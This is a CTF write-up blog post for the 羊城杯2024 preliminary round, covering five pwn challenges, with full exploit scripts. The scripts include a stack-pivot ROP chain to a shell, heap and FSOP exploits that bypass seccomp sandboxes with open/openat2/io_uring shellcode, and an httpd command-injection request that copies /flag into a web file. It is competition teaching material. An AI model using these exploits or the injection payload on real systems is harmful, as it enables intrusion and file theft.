羊城杯2024预赛

本文最后更新于:2024年8月29日 下午

pstack

漏洞位置

一个栈溢出,但溢出数据较少,只能使用栈迁移了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
pop_rdi=0x0000000000400773
leave=0x4006DB
ret=0x4006DC
read=0x4006C4
#p=process("./pwn")
#gdb.attach(p,f'bp {leave}')
p=remote("139.155.126.78","39592")
e=ELF("./pwn")
libc=ELF("./libc.so.6")
#libc=ELF("./libc")
fun_got=e.got['puts']
puts=e.plt['puts']
bss=e.bss(0x800)

payload=b'a'*0x30+p64(bss)+p64(read)
p.sendafter("rflow?\n",payload)
p.send(p64(bss+0x50)+p64(pop_rdi)+p64(fun_got)+p64(puts)+p64(read)+p64(0)+p64(bss-0x30)+p64(leave))
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-libc.sym['puts']
system=libc.sym['system']
bin_sh=next(libc.search(b'/bin/sh\x00'))

payload=p64(bss)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(read)+p64(bss+0x50-0x30)+p64(leave)
p.send(payload)
p.interactive()

TravelGraph

开启了沙盒,并且禁用了execveexecveat所以只能用orw

add

只能创建0x520,0x530,0x540大小的chunk,并且储存了一个far,这个属性相当于路程
delete

释放chunk时将formto设置为0,并且没有将列表中的指针置0
这样的话有两种情况可以访问free chunk

  1. chunk 与 top chunk相连
  2. perv_chunk已经被释放
    在以上两种情况下formto都不会被作为fd使用

show

edit
这里的edit_flag2在其他函数中设置

Dijkstra

这个函数相当于计算从A城市到B城市所需要的总路程
需要构造chunk使从A到B之间转的每辆车行驶的总路程大于2000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
context.arch='amd64'
city=[b"guangzhou",b"nanning",b"changsha",b"nanchang",b"fuzhou"]
def add(tool,form,to,data=b'\n',far=999):
tools=[b'car',b'train',b'plane']

p.sendlineafter(b'distance.',b'1')
p.sendlineafter(b'plane?',tools[tool])
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])
p.sendlineafter(b'far?',str(far).encode());
p.sendafter(b'Note:',data)
pass

def free(form,to):
p.sendlineafter(b'distance.',b'2')
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])

def show(form,to):
p.sendlineafter(b'distance.',b'3')
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])


def edit(form,to,ind,data,far=3000):
p.sendlineafter(b'distance.',b'4')
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])
p.sendlineafter(b'change?',str(ind).encode())
p.sendlineafter(b'far?',str(far).encode());
p.sendafter(b'Note:',data)

def distan():
p.sendlineafter(b'distance.',b'5')
p.sendlineafter(b'travel',city[3])
#p=process('./pwn')
p=remote("139.155.126.78","39558")
libc=ELF("./libc.so.6")
#gdb.attach(p,'b _IO_obstack_xsputn\nc')
#context.log_level='debug'

add(0,0,1,far=999,data=b"1324") # 0
add(0,1,2,far=999,data=b"321") #1
add(0,2,3,far=999,data=b"132") #2
distan()
add(0,3,3) #3
add(0,3,3) #4
add(2,3,3) #5
add(2,4,4,b"adsf") #6
#pause()
free(3,3)
#pause()
#free(0,0)
add(1,4,2) #3
add(1,4,3) #4+0x10
add(0,4,1) #5+0x20
free(4,3)
show(0,0)
p.readuntil('Note:')
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-0x21ace0
success(f"libc.address: 0x{libc.address:x}")
IO_list_all=libc.sym['_IO_list_all']
xxx=libc.address+0x21b660
success(f"IO_list_all: 0x{IO_list_all:x}")
add(1,4,3)
free(1,2)
free(4,3)
show(0,0)
p.readuntil('Note:')
chunk_1=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f"chunk_1: 0x{chunk_1:x}")
add(0,1,2)
add(2,1,3)
show(0,0)
p.readuntil('Note:')
large_bin=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f"large bin: 0x{large_bin:x}")
pause()
edit(0,0,0,p64(large_bin)*2+p64(IO_list_all-0x20)*2,far=0x531)
pause()

chunk_0=chunk_1-0x520
setcontext=libc.sym['setcontext']
mprotect=libc.sym['mprotect']
wfile_jump=libc.sym['_IO_wfile_jumps']
obstack_jump=libc.address+0x2173c0
shellcode=shellcraft.open("flag")+shellcraft.read(3,chunk_1,0x300)+shellcraft.write(1,chunk_1,0x300)
fake_io_add=chunk_0

obstack=fake_io_add
context=fake_io_add+0xe8
shelladd=context+0xe8

fake_io=flat({
0x20: [xxx,xxx,xxx],
0x60: [0,shelladd,0,0,0,0,0,setcontext,0,context,1],

0xd8: obstack_jump+0x20,
0xe0: fake_io_add+0x60,
},filler=b'\x00')

cont=flat({
0x68: obstack&(~0xfff), # rdi
0x70: 0x1000, # rsi
0x88: 7, # rdx
0xa0: fake_io_add+0x68, # rsp
0xa8: mprotect, # rcx->rip
0xe0: obstack
},filler=b'\x00')

payload=fake_io[0x20:]+cont+asm(shellcode)

free(0,1)
add(0,0,1,data=payload.ljust(0x400,b'\x00'))
free(0,1)
add(2,1,3)

p.sendline('9')
p.interactive()

httpd

主要逻辑代码

程序将用户访问的url首先作为命令执行,通过popen的返回结果判断为目录还是文件
由于过滤跟没有一样,所以只需要构造cat /flag > test.html即可获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /cat%20/flag%20%3etest.html HTTP/1.0
Host: 139.155.126.78
Content-Length: 7

123

-------------------------------------------------------------------

GET /test.html HTTP/1.0
Host: 139.155.126.78
Content-Length: 7

123

logger(复现)

warn

存在栈溢出,不过当可能溢出时程序会使用throw弹出异常
异常处理时会搜索调用栈,判断是否存在catch函数,当存在时会跳转到catch位置处

通过system函数的交叉引用列表可以找到后门函数

程序将0x4022a0位置处的字符串作为命令执行了

![logger](/img/blog_img/羊城杯2024预赛/image-20240829155411118.png ”logger")
logger函数会向0x404020处写入数据,并且可以写9次,也就是说在第九次写入数据时会修改0x4040a0地址处的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

def logger(data):
p.sendlineafter(b'chocie:',b'1')
p.sendlineafter(b'here',data)
p.sendlineafter(b"records",b'n')
def warn(data):
p.sendlineafter(b'chocie:',b'2')
p.sendlineafter(b'plz:',data)
e=ELF("./PWN")
p=process('./pwn')
gdb.attach(p,f'bp 0x401bc7\nc')
context.log_level='debug'
for i in range(9):
logger(b'/bin/sh\x00'.ljust(0x10,b'\x00'))

warn(b'a'*0x70+p64(0x404020+0x18+0x10)+p64(0x401bc7))
p.interactive()

hard+sandbox(复现)


程序启用了沙盒,不允许执行open,openat,execve,execveat系统调用
不过我在做题的时候使用openat2打远程也是不行的,所以我猜测可能使用io_uring
但比赛期间没有运行成功,不知道靶机环境上能不能使用
题目代码就不放了,非常标准的堆菜单题,并且存在uaf漏洞,只允许创建0x510~0x910大小的chunk

openat2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
context.arch='amd64'
def add(ind,size):
p.sendlineafter(b'Exit',b'1')
p.sendlineafter(b'Index',str(ind).encode())
p.sendlineafter(b'Size',str(size).encode())

def free(ind):
p.sendlineafter(b'Exit',b'2')
p.sendlineafter(b'Index',str(ind).encode())

def edit(ind,data):
p.sendlineafter(b'Exit',b'3')
p.sendlineafter(b'Index',str(ind).encode())
p.sendafter('Content: ',data)

def show(ind):
p.sendlineafter(b'Exit',b'4')
p.sendlineafter(b'Index: ',str(ind).encode())

p=process('./pwn')
# p=remote("124.221.140.64","9999")
#p=remote("127.0.0.1","4444")
#gdb.attach(p,'b mprotect\nc')
libc=ELF("./libc.so.6")
add(0,0x518);
add(1,0x518);
add(2,0x528);
add(3,0x528);
free(2)
add(4,0x600);
show(2)
large_bin=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f'large_bin: 0x{large_bin:x}')
libc.address=large_bin-0x1f70f0
success(f"libc.address: 0x{libc.address:x}")
iolist=libc.sym['_IO_list_all']
edit(2,p64(large_bin)+p64(large_bin)+p64(0)+p64(iolist-0x20))
free(0)
add(5,0x600)
show(2)
chunk_0=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f"chunk_0: 0x{chunk_0:x}")
setcontext=libc.sym['setcontext']
mprotect=libc.sym['mprotect']
wfile_jump=libc.sym['_IO_wfile_jumps']
fake_io_add=chunk_0
obstack=fake_io_add
context=fake_io_add+0xe8
shelladd=context+0x200


gs=fake_io_add+0xe0
shelladd=gs+0xe8

file_path=gs+0x78
handle=gs+0x40

jump=f"""
mov rax,{shelladd}
jmp rax
"""
strerror=libc.sym['sys_errlist']
read=f"""
mov rdi,3
mov rsi,{chunk_0}
mov [rsi],rax
mov rdx,0x200
xor rax,rax
syscall
"""
shellcode=shellcode+read+shellcraft.write(1,chunk_0,0x200)
shellcode=shellcraft.openat2(-100,file_path,handle,0x20)+read+shellcraft.write(1,chunk_0,0x200)

fake_io=flat({
0x28: gs,
0x98: fake_io_add+0x28,
0xa0: fake_io_add+0x20,
0xd8: wfile_jump+0x48,
},filler=b'\x00')

gsd=flat({
8: shelladd,
0x28: setcontext,
0x40: [0],
0x68: gs&(~0xfff), # rdi
0x70: 0x1000, # rsi
0x78: b'flag'.ljust(8,b'\x00'),
0x88: 7, # rdx
0xa0: gs+0x8, # rsp
0xa8: mprotect, # rcx->rip
0xe0:gs,
},filler=b'\x00')

payload=fake_io[0x10:]+gsd+asm(shellcode)

edit(0,payload)
p.sendline(b'5')
p.interactive()

io_uring

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.arch='amd64'
def add(ind,size):
p.sendlineafter(b'Exit',b'1')
p.sendlineafter(b'Index',str(ind).encode())
p.sendlineafter(b'Size',str(size).encode())

def free(ind):
p.sendlineafter(b'Exit',b'2')
p.sendlineafter(b'Index',str(ind).encode())

def edit(ind,data):
p.sendlineafter(b'Exit',b'3')
p.sendlineafter(b'Index',str(ind).encode())
p.sendafter('Content: ',data)

def show(ind):
p.sendlineafter(b'Exit',b'4')
p.sendlineafter(b'Index: ',str(ind).encode())

p=process('./pwn')
#p=remote("124.221.140.64","9999")
#p=remote("127.0.0.1","4444")
libc=ELF("./libc.so.6")
add(0,0x518);
add(1,0x518);
add(2,0x528);
add(3,0x528);
free(2)
add(4,0x600);
show(2)
large_bin=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f'large_bin: 0x{large_bin:x}')
libc.address=large_bin-0x1f70f0
success(f"libc.address: 0x{libc.address:x}")
iolist=libc.sym['_IO_list_all']
edit(2,p64(large_bin)+p64(large_bin)+p64(0)+p64(iolist-0x20))
free(0)
add(5,0x600)
show(2)
chunk_0=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f"chunk_0: 0x{chunk_0:x}")
setcontext=libc.sym['setcontext']
mprotect=libc.sym['mprotect']
wfile_jump=libc.sym['_IO_wfile_jumps']
fake_io_add=chunk_0
gs=fake_io_add+0xe0
shelladd=gs+0xe8
shellcode=open("shellcode").read().format(chunk_0,chunk_0)
file_path=gs+0x78
shell1=f"""
nop
mov rsi,{file_path}
mov rdi,1
mov rdx,3
mov rax,1
syscall

mov rdi,0
mov rax,0
mov rsi,{shelladd+0x100}
mov rdx,0x1000
syscall

mov rsp,{fake_io_add+0x9000}
mov rsi,{shelladd+0x100}
jmp rsi
"""
fake_io=flat({
0x28: gs,
0x98: fake_io_add+0x28,
0xa0: fake_io_add+0x20,
0xd8: wfile_jump+0x48,
},filler=b'\x00')

gsd=flat({
8: shelladd,
0x28: setcontext,
0x40: [0x20,0],
0x68: gs&(~0xfff), # rdi
0x70: 0x8000, # rsi
0x78: b'hhh'.ljust(8,b'\x00'),
0x88: 7, # rdx
0xa0: gs+0x8, # rsp
0xa8: mprotect, # rcx->rip
0xe0:gs,
},filler=b'\x00')

payload=fake_io[0x10:]+gsd+asm(shell1)

edit(0,payload)
p.sendlineafter(b'Exit',b'5')
pause()
p.sendlineafter(b'hhh',asm(shellcode))
p.interactive()

shellcode

比赛的时候mmap创建一直失败,因为比赛的时候系统调用的第四个参数记成rcx了,导致一直失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
nop
nop
nop
add rsp,0x4500
mov rbp,rsp
sub rsp,0x400
mov eax,0
mov ecx,0x80
mov rdi,rsp
rep stosq
mov rdi,16
lea rsi,[rbp-0x3f8]
mov eax,425
syscall

mov [rbp-0x400],rax

/* io_uring_mmap */
lea rdi,[rbp-0x380]
xor rax,rax
mov [rdi],rax
mov [rdi+208],rax

mov eax,dword ptr [rbp-0x3f8+4*16]
mov ebx,dword ptr [rbp-0x3f8]
lea rax,[eax+ebx*4]

mov ebx,dword ptr [rbp-0x3f8+4*25]
mov esi,dword ptr [rbp-0x3f8+4]
shl rsi,4
lea rcx,[rsi+rbx]

mov [rbp-0x380+8*9],rax
mov [rbp-0x380+104+8*7],rcx

mov ebx,dword ptr [rbp-0x3f8+5*4]
and ebx,1
test ebx,ebx
jz label1_1

cmp rax,rcx
jge label1_2
mov rax,rcx
label1_2:
mov [rbp-0x380+8*9],rax
mov [rbp-0x380+104+8*7],rax

label1_1:
mov rsi,rax
xor rdi,rdi
mov rdx,3
mov r10,32769
mov r8,[rbp-0x400]
xor r9,r9
mov rax,9
syscall

mov [rbp-0x380+8*10],rax

mov rcx,7
label1:
mov ebx,dword ptr [rbp-0x3f8+4*9+rcx*4]
lea rbx,[rbx+rax]
mov [rbp-0x380-8+rcx*8],rbx
dec rcx
test rcx,rcx
jnz label1


mov rsi,[rbp-0x380+104+8*7]
mov rdi,0
mov rdx,3
mov r10,32769
mov r8,[rbp-0x400]
mov r9d,0x8000000
mov rax,9
syscall

mov [rbp-0x380+104+8*8],rax

mov rcx,7
label2:
mov ebx,dword ptr [rbp-0x3f8+4*19+rcx*4]
lea rbx,[rbx+rax]
mov [rbp-0x380+104+rcx*8],rbx
dec rcx
test rcx,rcx
jnz label2

mov ebx,dword ptr [rbp-0x3f8+4*26]
test ebx,ebx
jz label3
jmp label4
label3:
xor rbx,rbx
mov [rbp-0x380-8+104+4*8],rbx

label4:
mov esi,dword ptr [rbp-0x3f8]
shl rsi,6
xor rdi,rdi
mov rdx,3
mov r10,32769
mov r8,[rbp-0x400]
mov r9,0x10000000
mov rax,9
syscall
mov [rbp-0x380+7*8],rax

mov eax,dword ptr [rbp-0x400]
mov dword ptr [rbp-0x380+196],eax

mov eax,dword ptr [rbp-0x3f8+4*2]
mov dword ptr [rbp-0x380+192],eax

mov eax,dword ptr [rbp-0x3f8+4*5]
mov dword ptr [rbp-0x380+200],eax

/* io_uring_mmap end*/

/* open */

mov rax,0x67616c66
mov [rbp-0x60],rax
lea rdi,[rbp-0x380]
call io_uring_get_sqe

mov [rbp-0x70],rax
mov rsi,rax
mov rdx,-100
lea rcx,[rbp-0x60]
//mov r10,rcx
xor r8,r8
xor r9,r9
mov rdi,18
call io_uring_prep_rw


mov rdi,[rbp-0x70]

mov rax,4
mov [rdi+32],rax

xor rax,rax
mov dword ptr [rdi+28],eax


/* read */
io_read:
lea rdi,[rbp-0x380]
call io_uring_get_sqe

mov rsi,rax

mov rdx,4
mov rcx,{}
//mov r10,rcx
// lea rcx,[rbp-0x60]
mov r8,0x50
xor r9,r9
mov rdi,22
call io_uring_prep_rw


/* write */
lea rdi,[rbp-0x380]
call io_uring_get_sqe

mov rsi,rax
mov rdx,1
mov rcx,{}
//mov r10,rcx
mov r8,0x50
xor r9,r9
mov rdi,23
call io_uring_prep_rw

mov edi,dword ptr [rbp-0x380 + 196]
mov esi,dword ptr [rbp-0x380+64]
xor rdx,rdx
xor r10,r10
xor r8,r8
mov r9,8
mov rax,426
syscall

while:
jmp io_read

io_uring_prep_rw:
xor rbx,rbx
mov byte ptr [rsi],dil
mov byte ptr [rsi+1],bl
mov word ptr [rsi+2],bx
mov dword ptr [rsi+4],edx
mov [rsi+8],r9
mov [rsi+16],rcx
mov dword ptr [rsi+24],r8d
mov dword ptr [rsi+28],ebx
mov [rsi+32],rbx
mov word ptr [rsi+40],bx
mov word ptr [rsi+42],bx
mov dword ptr [rsi+44],ebx
mov qword ptr [rsi+56],rbx
mov rbx,[rsi+56]
mov [rsi+48],rbx
ret


io_uring_get_sqe:
mov rax, [rdi]
xor r8d, r8d
mov ecx, [rax]
mov eax, [rdi+0x44]
lea edx, [rax+1]

mov rcx, [rdi+0x10]
mov r10,[rcx]
and eax,dword ptr [rcx]
mov rcx,[rdi+48]
mov dword ptr [rcx+4*rax],eax

mov [rdi+0x44], edx
mov [rdi+64],edx
mov rcx,[rdi+8]
mov dword ptr [rcx],edx

shl rax, 6
add rax, [rdi+0x38]
ret

羊城杯2024预赛
https://rot-will.github.io/page/wp/羊城杯2024预赛/
作者
rot_will
发布于
2024年8月29日
更新于
2024年8月29日
许可协议